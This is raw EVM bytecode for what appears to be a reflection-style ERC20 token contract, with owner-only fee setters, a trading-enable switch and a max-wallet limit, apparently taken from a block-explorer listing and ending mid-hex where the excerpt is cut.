fe886828701613e1d565b9150509250925092565b60006020828403121561400857614007613d99565b5b600061401684828501613e1d565b91505092915050565b60006020828403121561403557614034613d99565b5b600061404384828501613de7565b91505092915050565b61405581613dbe565b82525050565b6000602082019050614070600083018461404c565b92915050565b61407f81613e72565b811461408a57600080fd5b50565b60008135905061409c81614076565b92915050565b600080604083850312156140b9576140b8613d99565b5b60006140c785828601613e1d565b92505060206140d88582860161408d565b9150509250929050565b600080604083850312156140f9576140f8613d99565b5b600061410785828601613de7565b92505060206141188582860161408d565b9150509250929050565b6000806040838503121561413957614138613d99565b5b600061414785828601613de7565b925050602061415885828601613de7565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806141a957607f821691505b6020821081036141bc576141bb614162565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006141f8602083613cf2565b9150614203826141c2565b602082019050919050565b60006020820190508181036000830152614227816141eb565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061428a602a83613cf2565b91506142958261422e565b604082019050919050565b600060208201905081810360008301526142b98161427d565b9050919050565b7f4163636f756e7420697320616c726561647920696e636c756465640000000000600082015250565b60006142f6601b83613cf2565b9150614301826142c0565b602082019050919050565b60006020820190508181036000830152614325816142e9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061439582613dfc565b91506143a083613dfc565b92508282039050818111156143b8576143b761435b565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b60006143f882613dfc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361442a5761442961435b565b5b600182019050919050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b6000614491602c83613cf2565b915061449c82614435565b604082019050919050565b600060208201905081810360008301526144c081614484565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b60006144fd601f83613cf2565b9150614508826144c7565b602082019050919050565b6000602082019050818103600083015261452c816144f0565b9050919050565b7f4163636f756e7420697320616c7265616479206578636c756465640000000000600082015250565b6000614569601b83613cf2565b915061457482614533565b602082019050919050565b600060208201905081810360008301526145988161455c565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006145fb602683613cf2565b91506146068261459f565b604082019050919050565b6000602082019050818103600083015261462a816145ee565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061468d602483613cf2565b915061469882614631565b604082019050919050565b600060208201905081810360008301526146bc81614680565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061471f602283613cf2565b915061472a826146c3565b604082019050919050565b6000602082019050818103600083015261474e81614712565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006147b1602583613cf2565b91506147bc82614755565b604082019050919050565b600060208201905081810360008301526147e0816147a4565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614843602383613cf2565b915061484e826147e7565b604082019050919050565b6000602082019050818103600083015261487281614836565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006148d5602983613cf2565b91506148e082614879565b604082019050919050565b60006020820190508181036000830152614904816148c8565b9050919050565b7f54726164696e67206973206e6f7420656e61626c656420796574000000000000600082015250565b6000614941601a83613cf2565b915061494c8261490b565b602082019050919050565b6000602082019050818103600083015261497081614934565b9050919050565b600061498282613dfc565b915061498d83613dfc565b92508282019050808211156149a5576149a461435b565b5b92915050565b7f45524332303a2052656163686564204d61782077616c6c657420686f6c64696e60008201527f6700000000000000000000000000000000000000000000000000000000000000602082015250565b6000614a07602183613cf2565b9150614a12826149ab565b604082019050919050565b60006020820190508181036000830152614a36816149fa565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614a7782613dfc565b9150614a8283613dfc565b925082614a9257614a91614a3d565b5b828204905092915050565b6000614aa882613dfc565b9150614ab383613dfc565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614aec57614aeb61435b565b5b82820290509291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220437f03880ea475e722889b0d5e33c7451fd453154b585566847392002b9207ab64736f6c63430008100033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106102325760003560e01c80634ada218b116101305780638da5cb5b116100b8578063be19674b1161007c578063be19674b146106a5578063c0b0fda2146106c1578063dd62ed3e146106df578063ea2f0b371461070f578063f2fde38b1461072b57610232565b80638da5cb5b146105eb57806395d89b4114610609578063a457c2d714610627578063a9059cbb14610657578063bbde77c11461068757610232565b80636dd3d39f116100ff5780636dd3d39f1461054757806370a0823114610577578063715018a6146105a757806388f82020146105b15780638a8c523c146105e157610232565b80634ada218b146104c15780634cb80fd5146104df57806352390c02146104fb5780635342acb41461051757610232565b8063313ce567116101be5780634144d9e4116101825780634144d9e41461041d578063437823ec1461043b5780634549b0391461045757806348eb61b61461048757806349bd5a5e146104a357610232565b8063313ce567146103795780633685d4191461039757806339509351146103b35780633b124fe7146103e35780633bd5d1731461040157610232565b80631694505e116102055780631694505e146102bf57806318160ddd146102dd57806322976e0d146102fb57806323b872dd146103195780632d8381191461034957610232565b806306fdde0314610237578063095ea7b31461025557806313114a9d14610285578063151cd1c2146102a3575b600080fd5b61023f610747565b60405161024c9190613d77565b60405180910390f35b61026f600480360381019061026a9190613e32565b6107d9565b60405161027c9190613e8d565b60405180910390f35b61028d6107f7565b60405161029a9190613eb7565b60405180910390f35b6102bd60048036038101906102b89190613ed2565b610801565b005b6102c76108b2565b6040516102d49190613f84565b60405180910390f35b6102e56108d8565b6040516102f29190613eb7565b60405180910390f35b6103036108e2565b6040516103109190613eb7565b60405180910390f35b610333600480360381019061032e9190613f9f565b6108e8565b6040516103409190613e8d565b60405180910390f35b610363600480360381019061035e9190613ff2565b6109c1565b6040516103709190613eb7565b60405180910390f35b610381610a2f565b60405161038e9190613eb7565b60405180910390f35b6103b160048036038101906103ac919061401f565b610a39565b005b6103cd60048036038101906103c89190613e32565b610d6e565b6040516103da9190613e8d565b60405180910390f35b6103eb610e21565b6040516103f89190613eb7565b60405180910390f35b61041b60048036038101906104169190613ff2565b610e27565b005b610425610fa3565b604051610432919061405b565b60405180910390f35b6104556004803603810190610450919061401f565b610fc9565b005b610471600480360381019061046c91906140a2565b6110a0565b60405161047e9190613eb7565b60405180910390f35b6104a1600480360381019061049c91906140e2565b611126565b005b6104ab6111fd565b6040516104b8919061405b565b60405180910390f35b6104c9611223565b6040516104d69190613e8d565b60405180910390f35b6104f960048036038101906104f4919061401f565b611236565b005b6105156004803603810190610510919061401f565b6112f6565b005b610531600480360381019061052c919061401f565b611591565b60405161053e9190613e8d565b60405180910390f35b610561600480360381019061055c919061401f565b6115e7565b60405161056e9190613e8d565b60405180910390f35b610591600480360381019061058c919061401f565b61163d565b60405161059e9190613eb7565b60405180910390f35b6105af611728565b005b6105cb60048036038101906105c6919061401f565b611862565b6040516105d89190613e8d565b60405180910390f35b6105e96118b8565b005b6105f3611951565b604051610600919061405b565b60405180910390f35b61061161197a565b60405161061e9190613d77565b60405180910390f35b610641600480360381019061063c9190613e32565b611a0c565b60405161064e9190613e8d565b60405180910390f35b610671600480360381019061066c9190613e32565b611ad9565b60405161067e9190613e8d565b60405180910390f35b61068f611af7565b60405161069c9190613eb7565b60405180910390f35b6106bf60048036038101906106ba9190613ed2565b611afd565b005b6106c9611bae565b6040516106d69190613eb7565b60405180910390f35b6106f960048036038101906106f49190614122565b611bb4565b6040516107069190613eb7565b60405180910390f35b6107296004803603810190610724919061401f565b611c3b565b005b6107456004803603810190610740919061401f565b611d12565b005b6060600d805461075690614191565b80601f016020809104026020016040519081016040528092919081815260200182805461078290614191565b80156107cf5780601f106107a4576101008083540402835291602001916107cf565b820191906000526020600020905b8154815290600101906020018083116107b257829003601f168201915b5050505050905090565b60006107ed6107e6611eba565b8484611ec2565b6001905092915050565b6000600c54905090565b610809611eba565b73ffffffffffffffffffffffffffffffffffffffff16610827611951565b73ffffffffffffffffffffffffffffffffffffffff161461087d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108749061420e565b60405180910390fd5b826013819055506013546016819055508160148190555060145460178190555080601581905550601554601881905550505050565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a54905090565b60175481565b60006108f584848461208b565b6109b684610901611eba565b6109b185604051806060016040528060288152602001614af860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610967611eba565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125d89092919063ffffffff16565b611ec2565b600190509392505050565b6000600b54821115610a08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ff906142a0565b60405180910390fd5b6000610a1261262d565b9050610a27818461265890919063ffffffff16565b915050919050565b6000600f54905090565b610a41611eba565b73ffffffffffffffffffffffffffffffffffffffff16610a5f611951565b73ffffffffffffffffffffffffffffffffffffffff1614610ab5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aac9061420e565b60405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610b41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b389061430c565b60405180910390fd5b60005b600880549050811015610d6a578173ffffffffffffffffffffffffffffffffffffffff1660088281548110610b7c57610b7b61432c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603610d575760086001600880549050610bd6919061438a565b81548110610be757610be661432c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660088281548110610c2657610c2561432c565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506008805480610d1d57610d1c6143be565b5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055610d6a565b8080610d62906143ed565b915050610b44565b5050565b6000610e17610d7b611eba565b84610e128560046000610d8c611eba565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b611ec2565b6001905092915050565b60165481565b6000610e31611eba565b9050600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610ec0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb7906144a7565b60405180910390fd5b6000610ecb83612684565b5050505050509050610f2581600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ec90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f7d81600b546126ec90919063ffffffff16565b600b81905550610f9883600c5461266e90919063ffffffff16565b600c81905550505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610fd1611eba565b73ffffffffffffffffffffffffffffffffffffffff16610fef611951565b73ffffffffffffffffffffffffffffffffffffffff1614611045576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103c9061420e565b60405180910390fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600a548311156110e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110de90614513565b60405180910390fd5b816111085760006110f784612684565b505050505050905080915050611120565b600061111384612684565b5050505050915050809150505b92915050565b61112e611eba565b73ffffffffffffffffffffffffffffffffffffffff1661114c611951565b73ffffffffffffffffffffffffffffffffffffffff16146111a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111999061420e565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601f60009054906101000a900460ff1681565b61123e611eba565b73ffffffffffffffffffffffffffffffffffffffff1661125c611951565b73ffffffffffffffffffffffffffffffffffffffff16146112b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a99061420e565b60405180910390fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6112fe611eba565b73ffffffffffffffffffffffffffffffffffffffff1661131c611951565b73ffffffffffffffffffffffffffffffffffffffff1614611372576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113699061420e565b60405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f69061457f565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156114d35761148f600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109c1565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506008819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116d857600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611723565b611720600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109c1565b90505b919050565b611730611eba565b73ffffffffffffffffffffffffffffffffffffffff1661174e611951565b73ffffffffffffffffffffffffffffffffffffffff16146117a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179b9061420e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6118c0611eba565b73ffffffffffffffffffffffffffffffffffffffff166118de611951565b73ffffffffffffffffffffffffffffffffffffffff1614611934576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192b9061420e565b60405180910390fd5b6001601f60006101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600e805461198990614191565b80601f01602080910402602001604051908101604052809291908181526020018280546119b590614191565b8015611a025780601f106119d757610100808354040283529160200191611a02565b820191906000526020600020905b8154815290600101906020018083116119e557829003601f168201915b5050505050905090565b6000611acf611a19611eba565b84611aca85604051806060016040528060258152602001614b206025913960046000611a43611eba565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125d89092919063ffffffff16565b611ec2565b6001905092915050565b6000611aed611ae6611eba565b848461208b565b6001905092915050565b601e5481565b611b05611eba565b73ffffffffffffffffffffffffffffffffffffffff16611b23611951565b73ffffffffffffffffffffffffffffffffffffffff1614611b79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b709061420e565b60405180910390fd5b826010819055506010546016819055508160118190555060115460178190555080601281905550601254601881905550505050565b60185481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611c43611eba565b73ffffffffffffffffffffffffffffffffffffffff16611c61611951565b73ffffffffffffffffffffffffffffffffffffffff1614611cb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cae9061420e565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611d1a611eba565b73ffffffffffffffffffffffffffffffffffffffff16611d38611951565b73ffffffffffffffffffffffffffffffffffffffff1614611d8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d859061420e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611dfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df490614611565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f28906146a3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611fa0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9790614735565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161207e9190613eb7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036120fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f1906147c7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216090614859565b60405180910390fd5b600081116121ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a3906148eb565b60405180910390fd5b6121b4611951565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156121fc5750601f60009054906101000a900460ff16155b1561225157601f60009054906101000a900460ff16612250576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224790614957565b60405180910390fd5b5b612259611951565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156122c057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156122fa575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156123545750601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561240c5760006123648361163d565b9050600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806123cb5750601e5482826123c89190614977565b11155b61240a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240190614a1d565b60405180910390fd5b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806124b35750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156124c157600090506125c6565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603612536576010546016819055506011546017819055506012546018819055506125c5565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036125ab576013546016819055506014546017819055506015546018819055506125c4565b6000601681905550600060178190555060006018819055505b5b5b6125d284848484612702565b50505050565b6000838311158290612620576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126179190613d77565b60405180910390fd5b5082840390509392505050565b600080600061263a612a13565b91509150612651818361265890919063ffffffff16565b9250505090565b600081836126669190614a6c565b905092915050565b6000818361267c9190614977565b905092915050565b600080600080600080600080600080600061269e8c612cc6565b935093509350935060008060006126bf8f8787876126ba61262d565b612d45565b925092509250828282898989899d509d509d509d509d509d509d5050505050505050919395979092949650565b600081836126fa919061438a565b905092915050565b806127105761270f612df9565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156127b35750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156127c8576127c3848484612e2e565b6129ff565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561286b5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156128805761287b84848461309c565b6129fe565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156129245750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129395761293484848461330a565b6129fd565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129db5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156129f0576129eb8484846134e3565b6129fc565b6129fb84848461330a565b5b5b5b5b80612a0d57612a0c6137e6565b5b50505050565b6000806000600b5490506000600a54905060005b600880549050811015612c8957826002600060088481548110612a4d57612a4c61432c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612b3b5750816003600060088481548110612ad357612ad261432c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612b5257600b54600a5494509450505050612cc2565b612be26002600060088481548110612b6d57612b6c61432c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846126ec90919063ffffffff16565b9250612c746003600060088481548110612bff57612bfe61432c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836126ec90919063ffffffff16565b91508080612c81906143ed565b915050612a27565b50612ca1600a54600b5461265890919063ffffffff16565b821015612cb957600b54600a54935093505050612cc2565b81819350935050505b9091565b6000806000806000612cd786613803565b90506000612ce487613835565b90506000612cf188613867565b90506000612d2c82612d1e85612d10888e6126ec90919063ffffffff16565b6126ec90919063ffffffff16565b6126ec90919063ffffffff16565b9050808484849750975097509750505050509193509193565b600080600080612d5e858a61389990919063ffffffff16565b90506000612d75868a61389990919063ffffffff16565b90506000612d8c878a61389990919063ffffffff16565b90506000612da3888a61389990919063ffffffff16565b90506000612dde82612dd085612dc2888a6126ec90919063ffffffff16565b6126ec90919063ffffffff16565b6126ec90919063ffffffff16565b90508481859750975097505050505050955095509592505050565b601654601981905550601754601a81905550601854601b81905550600060168190555060006017819055506000601881905550565b6000806000806000806000612e4288612684565b9650965096509650965096509650612ea288600360008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ec90919063ffffffff16565b600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f3787600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ec90919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fcc86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613018826138af565b61302181613a5e565b61302b8584613cad565b8873ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516130889190613eb7565b60405180910390a350505050505050505050565b60008060008060008060006130b088612684565b965096509650965096509650965061311087600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ec90919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131a584600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061323a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613286826138af565b61328f81613a5e565b6132998584613cad565b8873ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516132f69190613eb7565b60405180910390a350505050505050505050565b600080600080600080600061331e88612684565b965096509650965096509650965061337e87600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ec90919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061341386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061345f826138af565b61346881613a5e565b6134728584613cad565b8873ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516134cf9190613eb7565b60405180910390a350505050505050505050565b60008060008060008060006134f788612684565b965096509650965096509650965061355788600360008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ec90919063ffffffff16565b600360008c73ffffffffffffffffffffffffffffffffffffffff1673fffffffffff